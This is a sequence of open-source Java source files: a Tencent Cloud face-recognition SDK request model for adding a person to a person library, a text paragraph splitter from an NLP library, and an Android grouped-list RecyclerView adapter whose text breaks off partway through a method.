/* * Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.tencentcloudapi.iai.v20180301.models; import com.tencentcloudapi.common.AbstractModel; import com.tencentcloudapi.common.SSEResponseModel; import com.google.gson.annotations.SerializedName; import com.google.gson.annotations.Expose; import java.util.HashMap; public class CreatePersonRequest extends AbstractModel { /** * 待加入的人员库ID。 */ @SerializedName("GroupId") @Expose private String GroupId; /** * 人员名称。[1,60]个字符,可修改,可重复。 */ @SerializedName("PersonName") @Expose private String PersonName; /** * 人员ID,单个腾讯云账号下不可修改,不可重复。支持英文、数字、-%@#&_,长度限制64B。 */ @SerializedName("PersonId") @Expose private String PersonId; /** * 0代表未填写,1代表男性,2代表女性。 */ @SerializedName("Gender") @Expose private Long Gender; /** * 人员描述字段内容,key-value。[0,60]个字符,可修改,可重复。 */ @SerializedName("PersonExDescriptionInfos") @Expose private PersonExDescriptionInfo [] PersonExDescriptionInfos; /** * 图片 base64 数据,base64 编码后大小不可超过5M。 支持PNG、JPG、JPEG、BMP,不支持 GIF 图片。 */ @SerializedName("Image") @Expose private String Image; /** * 图片的 Url 。对应图片 base64 编码后大小不可超过5M。 Url、Image必须提供一个,如果都提供,只使用 Url。 图片存储于腾讯云的Url可保障更高下载速度和稳定性,建议图片存储于腾讯云。 非腾讯云存储的Url速度和稳定性可能受一定影响。 支持PNG、JPG、JPEG、BMP,不支持 GIF 图片。 */ @SerializedName("Url") @Expose private String Url; /** * 此参数用于控制判断 Image 或 Url 中图片包含的人脸,是否在人员库中已有疑似的同一人。 如果判断为已有相同人在人员库中,则不会创建新的人员,返回疑似同一人的人员信息。 如果判断没有,则完成创建人员。 0: 不进行判断,无论是否有疑似同一人在库中均完成入库; 1:较低的同一人判断要求(百一误识别率); 2: 一般的同一人判断要求(千一误识别率); 3: 较高的同一人判断要求(万一误识别率); 4: 很高的同一人判断要求(十万一误识别率)。 默认 0。 注: 要求越高,则疑似同一人的概率越小。不同要求对应的误识别率仅为参考值,您可以根据实际情况调整。 */ @SerializedName("UniquePersonControl") @Expose private Long UniquePersonControl; /** * 图片质量控制。 0: 不进行控制; 1:较低的质量要求,图像存在非常模糊,眼睛鼻子嘴巴遮挡至少其中一种或多种的情况; 2: 一般的质量要求,图像存在偏亮,偏暗,模糊或一般模糊,眉毛遮挡,脸颊遮挡,下巴遮挡,至少其中三种的情况; 3: 较高的质量要求,图像存在偏亮,偏暗,一般模糊,眉毛遮挡,脸颊遮挡,下巴遮挡,其中一到两种的情况; 4: 很高的质量要求,各个维度均为最好或最多在某一维度上存在轻微问题; 默认 0。 若图片质量不满足要求,则返回结果中会提示图片质量检测不符要求。 */ @SerializedName("QualityControl") @Expose private Long QualityControl; /** * 是否开启图片旋转识别支持。0为不开启,1为开启。默认为0。本参数的作用为,当图片中的人脸被旋转且图片没有exif信息时,如果不开启图片旋转识别支持则无法正确检测、识别图片中的人脸。若您确认图片包含exif信息或者您确认输入图中人脸不会出现被旋转情况,请不要开启本参数。开启后,整体耗时将可能增加数百毫秒。 */ @SerializedName("NeedRotateDetection") @Expose private Long NeedRotateDetection; /** * Get 待加入的人员库ID。 * @return GroupId 待加入的人员库ID。 */ public String getGroupId() { return this.GroupId; } /** * Set 待加入的人员库ID。 * @param GroupId 待加入的人员库ID。 */ public void setGroupId(String GroupId) { this.GroupId = GroupId; } /** * Get 人员名称。[1,60]个字符,可修改,可重复。 * @return PersonName 人员名称。[1,60]个字符,可修改,可重复。 */ public String getPersonName() { return this.PersonName; } /** * Set 人员名称。[1,60]个字符,可修改,可重复。 * @param PersonName 人员名称。[1,60]个字符,可修改,可重复。 */ public void setPersonName(String PersonName) { this.PersonName = PersonName; } /** * Get 人员ID,单个腾讯云账号下不可修改,不可重复。支持英文、数字、-%@#&_,长度限制64B。 * @return PersonId 人员ID,单个腾讯云账号下不可修改,不可重复。支持英文、数字、-%@#&_,长度限制64B。 */ public String getPersonId() { return this.PersonId; } /** * Set 人员ID,单个腾讯云账号下不可修改,不可重复。支持英文、数字、-%@#&_,长度限制64B。 * @param PersonId 人员ID,单个腾讯云账号下不可修改,不可重复。支持英文、数字、-%@#&_,长度限制64B。 */ public void setPersonId(String PersonId) { this.PersonId = PersonId; } /** * Get 0代表未填写,1代表男性,2代表女性。 * @return Gender 0代表未填写,1代表男性,2代表女性。 */ public Long getGender() { return this.Gender; } /** * Set 0代表未填写,1代表男性,2代表女性。 * @param Gender 0代表未填写,1代表男性,2代表女性。 */ public void setGender(Long Gender) { this.Gender = Gender; } /** * Get 人员描述字段内容,key-value。[0,60]个字符,可修改,可重复。 * @return PersonExDescriptionInfos 人员描述字段内容,key-value。[0,60]个字符,可修改,可重复。 */ public PersonExDescriptionInfo [] getPersonExDescriptionInfos() { return this.PersonExDescriptionInfos; } /** * Set 人员描述字段内容,key-value。[0,60]个字符,可修改,可重复。 * @param PersonExDescriptionInfos 人员描述字段内容,key-value。[0,60]个字符,可修改,可重复。 */ public void setPersonExDescriptionInfos(PersonExDescriptionInfo [] PersonExDescriptionInfos) { this.PersonExDescriptionInfos = PersonExDescriptionInfos; } /** * Get 图片 base64 数据,base64 编码后大小不可超过5M。 支持PNG、JPG、JPEG、BMP,不支持 GIF 图片。 * @return Image 图片 base64 数据,base64 编码后大小不可超过5M。 支持PNG、JPG、JPEG、BMP,不支持 GIF 图片。 */ public String getImage() { return this.Image; } /** * Set 图片 base64 数据,base64 编码后大小不可超过5M。 支持PNG、JPG、JPEG、BMP,不支持 GIF 图片。 * @param Image 图片 base64 数据,base64 编码后大小不可超过5M。 支持PNG、JPG、JPEG、BMP,不支持 GIF 图片。 */ public void setImage(String Image) { this.Image = Image; } /** * Get 图片的 Url 。对应图片 base64 编码后大小不可超过5M。 Url、Image必须提供一个,如果都提供,只使用 Url。 图片存储于腾讯云的Url可保障更高下载速度和稳定性,建议图片存储于腾讯云。 非腾讯云存储的Url速度和稳定性可能受一定影响。 支持PNG、JPG、JPEG、BMP,不支持 GIF 图片。 * @return Url 图片的 Url 。对应图片 base64 编码后大小不可超过5M。 Url、Image必须提供一个,如果都提供,只使用 Url。 图片存储于腾讯云的Url可保障更高下载速度和稳定性,建议图片存储于腾讯云。 非腾讯云存储的Url速度和稳定性可能受一定影响。 支持PNG、JPG、JPEG、BMP,不支持 GIF 图片。 */ public String getUrl() { return this.Url; } /** * Set 图片的 Url 。对应图片 base64 编码后大小不可超过5M。 Url、Image必须提供一个,如果都提供,只使用 Url。 图片存储于腾讯云的Url可保障更高下载速度和稳定性,建议图片存储于腾讯云。 非腾讯云存储的Url速度和稳定性可能受一定影响。 支持PNG、JPG、JPEG、BMP,不支持 GIF 图片。 * @param Url 图片的 Url 。对应图片 base64 编码后大小不可超过5M。 Url、Image必须提供一个,如果都提供,只使用 Url。 图片存储于腾讯云的Url可保障更高下载速度和稳定性,建议图片存储于腾讯云。 非腾讯云存储的Url速度和稳定性可能受一定影响。 支持PNG、JPG、JPEG、BMP,不支持 GIF 图片。 */ public void setUrl(String Url) { this.Url = Url; } /** * Get 此参数用于控制判断 Image 或 Url 中图片包含的人脸,是否在人员库中已有疑似的同一人。 如果判断为已有相同人在人员库中,则不会创建新的人员,返回疑似同一人的人员信息。 如果判断没有,则完成创建人员。 0: 不进行判断,无论是否有疑似同一人在库中均完成入库; 1:较低的同一人判断要求(百一误识别率); 2: 一般的同一人判断要求(千一误识别率); 3: 较高的同一人判断要求(万一误识别率); 4: 很高的同一人判断要求(十万一误识别率)。 默认 0。 注: 要求越高,则疑似同一人的概率越小。不同要求对应的误识别率仅为参考值,您可以根据实际情况调整。 * @return UniquePersonControl 此参数用于控制判断 Image 或 Url 中图片包含的人脸,是否在人员库中已有疑似的同一人。 如果判断为已有相同人在人员库中,则不会创建新的人员,返回疑似同一人的人员信息。 如果判断没有,则完成创建人员。 0: 不进行判断,无论是否有疑似同一人在库中均完成入库; 1:较低的同一人判断要求(百一误识别率); 2: 一般的同一人判断要求(千一误识别率); 3: 较高的同一人判断要求(万一误识别率); 4: 很高的同一人判断要求(十万一误识别率)。 默认 0。 注: 要求越高,则疑似同一人的概率越小。不同要求对应的误识别率仅为参考值,您可以根据实际情况调整。 */ public Long getUniquePersonControl() { return this.UniquePersonControl; } /** * Set 此参数用于控制判断 Image 或 Url 中图片包含的人脸,是否在人员库中已有疑似的同一人。 如果判断为已有相同人在人员库中,则不会创建新的人员,返回疑似同一人的人员信息。 如果判断没有,则完成创建人员。 0: 不进行判断,无论是否有疑似同一人在库中均完成入库; 1:较低的同一人判断要求(百一误识别率); 2: 一般的同一人判断要求(千一误识别率); 3: 较高的同一人判断要求(万一误识别率); 4: 很高的同一人判断要求(十万一误识别率)。 默认 0。 注: 要求越高,则疑似同一人的概率越小。不同要求对应的误识别率仅为参考值,您可以根据实际情况调整。 * @param UniquePersonControl 此参数用于控制判断 Image 或 Url 中图片包含的人脸,是否在人员库中已有疑似的同一人。 如果判断为已有相同人在人员库中,则不会创建新的人员,返回疑似同一人的人员信息。 如果判断没有,则完成创建人员。 0: 不进行判断,无论是否有疑似同一人在库中均完成入库; 1:较低的同一人判断要求(百一误识别率); 2: 一般的同一人判断要求(千一误识别率); 3: 较高的同一人判断要求(万一误识别率); 4: 很高的同一人判断要求(十万一误识别率)。 默认 0。 注: 要求越高,则疑似同一人的概率越小。不同要求对应的误识别率仅为参考值,您可以根据实际情况调整。 */ public void setUniquePersonControl(Long UniquePersonControl) { this.UniquePersonControl = UniquePersonControl; } /** * Get 图片质量控制。 0: 不进行控制; 1:较低的质量要求,图像存在非常模糊,眼睛鼻子嘴巴遮挡至少其中一种或多种的情况; 2: 一般的质量要求,图像存在偏亮,偏暗,模糊或一般模糊,眉毛遮挡,脸颊遮挡,下巴遮挡,至少其中三种的情况; 3: 较高的质量要求,图像存在偏亮,偏暗,一般模糊,眉毛遮挡,脸颊遮挡,下巴遮挡,其中一到两种的情况; 4: 很高的质量要求,各个维度均为最好或最多在某一维度上存在轻微问题; 默认 0。 若图片质量不满足要求,则返回结果中会提示图片质量检测不符要求。 * @return QualityControl 图片质量控制。 0: 不进行控制; 1:较低的质量要求,图像存在非常模糊,眼睛鼻子嘴巴遮挡至少其中一种或多种的情况; 2: 一般的质量要求,图像存在偏亮,偏暗,模糊或一般模糊,眉毛遮挡,脸颊遮挡,下巴遮挡,至少其中三种的情况; 3: 较高的质量要求,图像存在偏亮,偏暗,一般模糊,眉毛遮挡,脸颊遮挡,下巴遮挡,其中一到两种的情况; 4: 很高的质量要求,各个维度均为最好或最多在某一维度上存在轻微问题; 默认 0。 若图片质量不满足要求,则返回结果中会提示图片质量检测不符要求。 */ public Long getQualityControl() { return this.QualityControl; } /** * Set 图片质量控制。 0: 不进行控制; 1:较低的质量要求,图像存在非常模糊,眼睛鼻子嘴巴遮挡至少其中一种或多种的情况; 2: 一般的质量要求,图像存在偏亮,偏暗,模糊或一般模糊,眉毛遮挡,脸颊遮挡,下巴遮挡,至少其中三种的情况; 3: 较高的质量要求,图像存在偏亮,偏暗,一般模糊,眉毛遮挡,脸颊遮挡,下巴遮挡,其中一到两种的情况; 4: 很高的质量要求,各个维度均为最好或最多在某一维度上存在轻微问题; 默认 0。 若图片质量不满足要求,则返回结果中会提示图片质量检测不符要求。 * @param QualityControl 图片质量控制。 0: 不进行控制; 1:较低的质量要求,图像存在非常模糊,眼睛鼻子嘴巴遮挡至少其中一种或多种的情况; 2: 一般的质量要求,图像存在偏亮,偏暗,模糊或一般模糊,眉毛遮挡,脸颊遮挡,下巴遮挡,至少其中三种的情况; 3: 较高的质量要求,图像存在偏亮,偏暗,一般模糊,眉毛遮挡,脸颊遮挡,下巴遮挡,其中一到两种的情况; 4: 很高的质量要求,各个维度均为最好或最多在某一维度上存在轻微问题; 默认 0。 若图片质量不满足要求,则返回结果中会提示图片质量检测不符要求。 */ public void setQualityControl(Long QualityControl) { this.QualityControl = QualityControl; } /** * Get 是否开启图片旋转识别支持。0为不开启,1为开启。默认为0。本参数的作用为,当图片中的人脸被旋转且图片没有exif信息时,如果不开启图片旋转识别支持则无法正确检测、识别图片中的人脸。若您确认图片包含exif信息或者您确认输入图中人脸不会出现被旋转情况,请不要开启本参数。开启后,整体耗时将可能增加数百毫秒。 * @return NeedRotateDetection 是否开启图片旋转识别支持。0为不开启,1为开启。默认为0。本参数的作用为,当图片中的人脸被旋转且图片没有exif信息时,如果不开启图片旋转识别支持则无法正确检测、识别图片中的人脸。若您确认图片包含exif信息或者您确认输入图中人脸不会出现被旋转情况,请不要开启本参数。开启后,整体耗时将可能增加数百毫秒。 */ public Long getNeedRotateDetection() { return this.NeedRotateDetection; } /** * Set 是否开启图片旋转识别支持。0为不开启,1为开启。默认为0。本参数的作用为,当图片中的人脸被旋转且图片没有exif信息时,如果不开启图片旋转识别支持则无法正确检测、识别图片中的人脸。若您确认图片包含exif信息或者您确认输入图中人脸不会出现被旋转情况,请不要开启本参数。开启后,整体耗时将可能增加数百毫秒。 * @param NeedRotateDetection 是否开启图片旋转识别支持。0为不开启,1为开启。默认为0。本参数的作用为,当图片中的人脸被旋转且图片没有exif信息时,如果不开启图片旋转识别支持则无法正确检测、识别图片中的人脸。若您确认图片包含exif信息或者您确认输入图中人脸不会出现被旋转情况,请不要开启本参数。开启后,整体耗时将可能增加数百毫秒。 */ public void setNeedRotateDetection(Long NeedRotateDetection) { this.NeedRotateDetection = NeedRotateDetection; } public CreatePersonRequest() { } /** * NOTE: Any ambiguous key set via .set("AnyKey", "value") will be a shallow copy, * and any explicit key, i.e Foo, set via .setFoo("value") will be a deep copy. */ public CreatePersonRequest(CreatePersonRequest source) { if (source.GroupId != null) { this.GroupId = new String(source.GroupId); } if (source.PersonName != null) { this.PersonName = new String(source.PersonName); } if (source.PersonId != null) { this.PersonId = new String(source.PersonId); } if (source.Gender != null) { this.Gender = new Long(source.Gender); } if (source.PersonExDescriptionInfos != null) { this.PersonExDescriptionInfos = new PersonExDescriptionInfo[source.PersonExDescriptionInfos.length]; for (int i = 0; i < source.PersonExDescriptionInfos.length; i++) { this.PersonExDescriptionInfos[i] = new PersonExDescriptionInfo(source.PersonExDescriptionInfos[i]); } } if (source.Image != null) { this.Image = new String(source.Image); } if (source.Url != null) { this.Url = new String(source.Url); } if (source.UniquePersonControl != null) { this.UniquePersonControl = new Long(source.UniquePersonControl); } if (source.QualityControl != null) { this.QualityControl = new Long(source.QualityControl); } if (source.NeedRotateDetection != null) { this.NeedRotateDetection = new Long(source.NeedRotateDetection); } } /** * Internal implementation, normal users should not use it. */ public void toMap(HashMap<String, String> map, String prefix) { this.setParamSimple(map, prefix + "GroupId", this.GroupId); this.setParamSimple(map, prefix + "PersonName", this.PersonName); this.setParamSimple(map, prefix + "PersonId", this.PersonId); this.setParamSimple(map, prefix + "Gender", this.Gender); this.setParamArrayObj(map, prefix + "PersonExDescriptionInfos.", this.PersonExDescriptionInfos); this.setParamSimple(map, prefix + "Image", this.Image); this.setParamSimple(map, prefix + "Url", this.Url); this.setParamSimple(map, prefix + "UniquePersonControl", this.UniquePersonControl); this.setParamSimple(map, prefix + "QualityControl", this.QualityControl); this.setParamSimple(map, prefix + "NeedRotateDetection", this.NeedRotateDetection); } }
TencentCloud/tencentcloud-sdk-java
src/main/java/com/tencentcloudapi/iai/v20180301/models/CreatePersonRequest.java
65,609
/* * Copyright 2018 mayabot.com authors. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.mayabot.nlp.common; import com.mayabot.nlp.common.utils.Characters; import java.io.IOException; import java.io.Reader; /** * 把原始文档分成若干段。这样下面的分词器就能分段处理。 * <p> * 从StringReader中获取一个大的段落。 * 由于内存有限。需要设置一个maxlength,防止有些文字过长没有标点段落。 * 寻找到一个合适的大小的段落,从Reader中读取一个大小合适段落,不要使用传统的readline。 * 万一变态一行的数量太大。或者太小。或者出现的截断(一行的最后一个字母和下一行的最后一个字母是一个词) * * @author jimichan */ public class ParagraphReaderSmart implements ParagraphReader { /** * 选择一个好的实现 * * @param string * @return ParagraphReader */ public static ParagraphReader prepare(String string) { if (string.length() < 256) { return new ParagraphReaderString(string); } else { return new ParagraphReaderSmart(new FastCharReader(string)); } } private FastCharReader fastCharReader; private int expectSize; private int pad; //最后加塞的大小 private int max; private static final int minPad = 128; private static final int defaultExpect = 128 + 512; /** * reader 要求 * * @param reader */ public ParagraphReaderSmart(Reader reader) { this(reader, defaultExpect); } public ParagraphReaderSmart(Reader reader, int expect) { this.fastCharReader = new FastCharReader(reader); expectsize(expect); } public ParagraphReaderSmart(FastCharReader reader) { this(reader, defaultExpect); } public ParagraphReaderSmart(FastCharReader reader, int expect) { this.fastCharReader = reader; expectsize(expect); } private void expectsize(int expect) { this.expectSize = expect; this.pad = Math.max(minPad, this.expectSize / 2); this.max = this.expectSize + this.pad; } public int offset() { return offset; } private int offset = -1; private int lastlen = -1; /** * 返回一段字符串 * * @return String * @throws IOException */ @Override public String next() throws IOException { StringBuilder result = new StringBuilder(max); int l; int count = 0; while (count < max && (l = fastCharReader.read()) != -1) { char _ch = (char) l; result.append(_ch); count++; //已经超出.越到第一个 if (count > expectSize) { if (Characters.isPunctuation(_ch)) { break; } } } if (offset == -1) { offset = 0; lastlen = result.length(); } else { offset = offset + lastlen; lastlen = result.length(); } if (result.length() == 0) { return null; } return result.toString(); } }
mayabot/mynlp
mynlp/src/main/java/com/mayabot/nlp/common/ParagraphReaderSmart.java
65,610
package com.yc.adapter; import android.content.Context; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import androidx.annotation.NonNull; import androidx.recyclerview.widget.RecyclerView; import androidx.recyclerview.widget.StaggeredGridLayoutManager; import java.util.ArrayList; /** * <pre> * @author yangchong * blog : https://github.com/yangchong211 * time : 2018/9/18 * desc : 通用的分组列表Adapter,通过它可以很方便的实现列表的分组效果。 * revise: 这个类提供了一系列的对列表的更新、删除和插入等操作的方法。 * 使用者要使用这些方法的列表进行操作,而不要直接使用RecyclerView.Adapter的方法。 * 因为当分组列表发生变化时,需要及时更新分组列表的组结构{@link AbsGroupAdapter#mStructures} * https://github.com/yangchong211/YCGroupAdapter * </pre> */ public abstract class AbsGroupAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> { private static final int TYPE_HEADER = 1; static final int TYPE_FOOTER = 2; static final int TYPE_CHILD = 3; private static final int TYPE_NO = 4; private OnHeaderClickListener mOnHeaderClickListener; private OnFooterClickListener mOnFooterClickListener; private OnChildClickListener mOnChildClickListener; protected Context mContext; private final Object mLock = new Object(); /** * 保存分组列表的组结构 */ protected ArrayList<GroupStructure> mStructures = new ArrayList<>(); /** * 数据是否发生变化。如果数据发生变化,要及时更新组结构。 */ private boolean isDataChanged; /** * itemViewType类型 */ private int itemType; /** * 布局填充inflater */ private LayoutInflater inflater; public AbsGroupAdapter(Context context) { mContext = context; registerAdapterDataObserver(new GroupDataObserver()); inflater = LayoutInflater.from(mContext); } /** * 这个方法最先调用,与recyclerView绑定,可以做初始化工作 * @param recyclerView recyclerView */ @Override public void onAttachedToRecyclerView(@NonNull RecyclerView recyclerView) { super.onAttachedToRecyclerView(recyclerView); structureChanged(); } /** * 瀑布流视图中,item中view与window绑定时调用,也就是说view处于可见时会调用该方法 * @param holder holder */ @Override public void onViewAttachedToWindow(@NonNull RecyclerView.ViewHolder holder) { super.onViewAttachedToWindow(holder); //处理StaggeredGridLayout,保证组头和组尾占满一行。 if (isStaggeredGridLayout(holder)) { handleLayoutIfStaggeredGridLayout(holder, holder.getLayoutPosition()); } } /** * 判断是否是瀑布流视图 * @param holder holder * @return */ private boolean isStaggeredGridLayout(RecyclerView.ViewHolder holder) { ViewGroup.LayoutParams layoutParams = holder.itemView.getLayoutParams(); if (layoutParams != null && layoutParams instanceof StaggeredGridLayoutManager.LayoutParams) { return true; } return false; } /** * 注意,在瀑布流视图中,header和footer视图布局,设置setFullSpan为true,也就是说占一行 * @param holder holder * @param position 索引 */ private void handleLayoutIfStaggeredGridLayout(RecyclerView.ViewHolder holder, int position) { if (judgeType(position) == TYPE_HEADER || judgeType(position) == TYPE_FOOTER) { StaggeredGridLayoutManager.LayoutParams p = (StaggeredGridLayoutManager.LayoutParams) holder.itemView.getLayoutParams(); p.setFullSpan(true); } } @NonNull @Override public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { View view; if (viewType != TYPE_NO){ int layoutId = getLayoutId(itemType, viewType); if (inflater==null){ inflater = LayoutInflater.from(mContext); } view = inflater.inflate(layoutId, parent, false); } else { //使用空布局 //未知类型可以使用空布局代替 view = new View(parent.getContext()); } return new GroupViewHolder(view); } @Override public void onBindViewHolder(@NonNull final RecyclerView.ViewHolder holder, int position) { int type = judgeType(position); final int groupPosition = getGroupPositionForPosition(position); if (type == TYPE_HEADER) { if (mOnHeaderClickListener != null) { holder.itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (mOnHeaderClickListener != null) { mOnHeaderClickListener.onHeaderClick(AbsGroupAdapter.this, (GroupViewHolder) holder, groupPosition); } } }); } onBindHeaderViewHolder((GroupViewHolder) holder, groupPosition); } else if (type == TYPE_FOOTER) { if (mOnFooterClickListener != null) { holder.itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (mOnFooterClickListener != null) { mOnFooterClickListener.onFooterClick(AbsGroupAdapter.this, (GroupViewHolder) holder, groupPosition); } } }); } onBindFooterViewHolder((GroupViewHolder) holder, groupPosition); } else if (type == TYPE_CHILD) { final int childPosition = getChildPositionForPosition(groupPosition, position); if (mOnChildClickListener != null) { holder.itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (mOnChildClickListener != null) { mOnChildClickListener.onChildClick(AbsGroupAdapter.this, (GroupViewHolder) holder, groupPosition, childPosition); } } }); } onBindChildViewHolder((GroupViewHolder) holder, groupPosition, childPosition); } } /** * 获取所有的孩子数量,包括 * @return */ @Override public int getItemCount() { if (isDataChanged) { structureChanged(); } return count(); } @Override public int getItemViewType(int position) { itemType = position; int groupPosition = getGroupPositionForPosition(position); int type = judgeType(position); if (type == TYPE_HEADER) { return getHeaderViewType(groupPosition); } else if (type == TYPE_FOOTER) { return getFooterViewType(groupPosition); } else if (type == TYPE_CHILD) { int childPosition = getChildPositionForPosition(groupPosition, position); return getChildViewType(groupPosition, childPosition); } return super.getItemViewType(position); } public int getHeaderViewType(int groupPosition) { return TYPE_HEADER; } public int getFooterViewType(int groupPosition) { return TYPE_FOOTER; } public int getChildViewType(int groupPosition, int childPosition) { return TYPE_CHILD; } private int getLayoutId(int position, int viewType) { int type = judgeType(position); if (type == TYPE_HEADER) { return getHeaderLayout(viewType); } else if (type == TYPE_FOOTER) { return getFooterLayout(viewType); } else if (type == TYPE_CHILD) { return getChildLayout(viewType); } return 0; } private int count() { //获取所有数量 return countGroupRangeItem(0, mStructures.size()); } /** * 判断item的type 头部 尾部 和 子项 * * @param position * @return */ public int judgeType(int position) { int itemCount = 0; //获取组的数量 int groupCount = mStructures.size(); for (int i = 0; i < groupCount; i++) { GroupStructure structure = mStructures.get(i); //判断是否有header头部view if (structure.hasHeader()) { itemCount += 1; if (position < itemCount) { return TYPE_HEADER; } } //获取孩子的数量 itemCount += structure.getChildrenCount(); if (position < itemCount) { return TYPE_CHILD; } //判断是否有footer数量 if (structure.hasFooter()) { itemCount += 1; if (position < itemCount) { return TYPE_FOOTER; } } } //以防万一,为了避免在插入刷新,移除刷新时,避免索引越界异常,不要throw异常 //即使当 position == getItemCount() 为true时,可以用空页面替代 return TYPE_NO; //throw new IndexOutOfBoundsException("can't determine the item type of the position." + // "position = " + position + ",item count = " + getItemCount()); } /** * 重置组结构列表 */ private void structureChanged() { synchronized (mLock) { mStructures.clear(); int groupCount = getGroupCount(); for (int i = 0; i < groupCount; i++) { mStructures.add(new GroupStructure(hasHeader(i), hasFooter(i), getChildrenCount(i))); } isDataChanged = false; } } /** * 根据下标计算position所在的组(groupPosition) * * @param position 下标 * @return 组下标 groupPosition */ public int getGroupPositionForPosition(int position) { int count = 0; int groupCount = mStructures.size(); for (int i = 0; i < groupCount; i++) { count += countGroupItem(i); if (position < count) { return i; } } return -1; } /** * 根据下标计算position在组中位置(childPosition) * * @param groupPosition 所在的组 * @param position 下标 * @return 子项下标 childPosition */ public int getChildPositionForPosition(int groupPosition, int position) { if (groupPosition >= 0 && groupPosition < mStructures.size()) { int itemCount = countGroupRangeItem(0, groupPosition + 1); synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); int p = structure.getChildrenCount() - (itemCount - position) + (structure.hasFooter() ? 1 : 0); if (p >= 0) { return p; } } } return -1; } /** * 获取一个组的组头下标 如果该组没有组头 返回-1 * * @param groupPosition 组下标 * @return 下标 */ private int getPositionForGroupHeader(int groupPosition) { if (groupPosition >= 0 && groupPosition < mStructures.size()) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); if (!structure.hasHeader()) { return -1; } } return countGroupRangeItem(0, groupPosition); } return -1; } /** * 获取一个组的组尾下标 如果该组没有组尾 返回-1 * * @param groupPosition 组下标 * @return 下标 */ public int getPositionForGroupFooter(int groupPosition) { if (groupPosition >= 0 && groupPosition < mStructures.size()) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); if (!structure.hasFooter()) { return -1; } } return countGroupRangeItem(0, groupPosition + 1) - 1; } return -1; } /** * 获取一个组指定的子项下标 如果没有 返回-1 * * @param groupPosition 组下标 * @param childPosition 子项的组内下标 * @return 下标 */ public int getPositionForChild(int groupPosition, int childPosition) { if (groupPosition >= 0 && groupPosition < mStructures.size()) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); if (structure.getChildrenCount() > childPosition) { int itemCount = countGroupRangeItem(0, groupPosition); return itemCount + childPosition + (structure.hasHeader() ? 1 : 0); } } } return -1; } /** * 计算一个组里有多少个Item(头加尾加子项) * * @param groupPosition * @return */ public int countGroupItem(int groupPosition) { int itemCount = 0; if (groupPosition >= 0 && groupPosition < mStructures.size()) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); if (structure.hasHeader()) { itemCount += 1; } itemCount += structure.getChildrenCount(); if (structure.hasFooter()) { itemCount += 1; } } } return itemCount; } /** * 计算多个组的项的总和 * * @return */ public int countGroupRangeItem(int start, int count) { int itemCount = 0; //获取组的数量 int size = mStructures.size(); for (int i = start; i < size && i < start + count; i++) { itemCount += countGroupItem(i); } return itemCount; } //****** 刷新操作 *****// /** * 通知数据列表刷新 */ public void notifyDataChanged() { isDataChanged = true; notifyDataSetChanged(); } /** * 通知一组数据刷新,包括组头,组尾和子项 * * @param groupPosition */ public void notifyGroupChanged(int groupPosition) { int index = getPositionForGroupHeader(groupPosition); int itemCount = countGroupItem(groupPosition); if (index >= 0 && itemCount > 0) { notifyItemRangeChanged(index, itemCount); } } /** * 通知多组数据刷新,包括组头,组尾和子项 * * @param groupPosition */ public void notifyGroupRangeChanged(int groupPosition, int count) { int index = getPositionForGroupHeader(groupPosition); int itemCount = 0; if (groupPosition + count <= mStructures.size()) { itemCount = countGroupRangeItem(groupPosition, groupPosition + count); } else { itemCount = countGroupRangeItem(groupPosition, mStructures.size()); } if (index >= 0 && itemCount > 0) { notifyItemRangeChanged(index, itemCount); } } /** * 通知组头刷新 * * @param groupPosition */ public void notifyHeaderChanged(int groupPosition) { int index = getPositionForGroupHeader(groupPosition); if (index >= 0) { notifyItemChanged(index); } } /** * 通知组尾刷新 * * @param groupPosition */ public void notifyFooterChanged(int groupPosition) { //如果index返回-1,则表示没有找到 int index = getPositionForGroupFooter(groupPosition); if (index >= 0) { notifyItemChanged(index); } } /** * 通知一组里的某个子项刷新 * * @param groupPosition * @param childPosition */ public void notifyChildChanged(int groupPosition, int childPosition) { int index = getPositionForChild(groupPosition, childPosition); if (index >= 0) { notifyItemChanged(index); } } /** * 通知一组里的多个子项刷新 * * @param groupPosition * @param childPosition * @param count */ public void notifyChildRangeChanged(int groupPosition, int childPosition, int count) { if (groupPosition < mStructures.size()) { int index = getPositionForChild(groupPosition, childPosition); if (index >= 0) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); if (structure.getChildrenCount() >= childPosition + count) { notifyItemRangeChanged(index, count); } else { notifyItemRangeChanged(index, structure.getChildrenCount() - childPosition); } } } } } /** * 通知一组里的所有子项刷新 * * @param groupPosition */ public void notifyChildrenChanged(int groupPosition) { if (groupPosition >= 0 && groupPosition < mStructures.size()) { int index = getPositionForChild(groupPosition, 0); if (index >= 0) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); notifyItemRangeChanged(index, structure.getChildrenCount()); } } } } //****** 删除操作 *****// /** * 通知所有数据删除 */ public void notifyDataRemoved() { notifyItemRangeRemoved(0, getItemCount()); synchronized (mLock) { mStructures.clear(); } } /** * 通知一组数据删除,包括组头,组尾和子项 * * @param groupPosition */ public void notifyGroupRemoved(int groupPosition) { int index = getPositionForGroupHeader(groupPosition); int itemCount = countGroupItem(groupPosition); if (index >= 0 && itemCount > 0) { notifyItemRangeRemoved(index, itemCount); 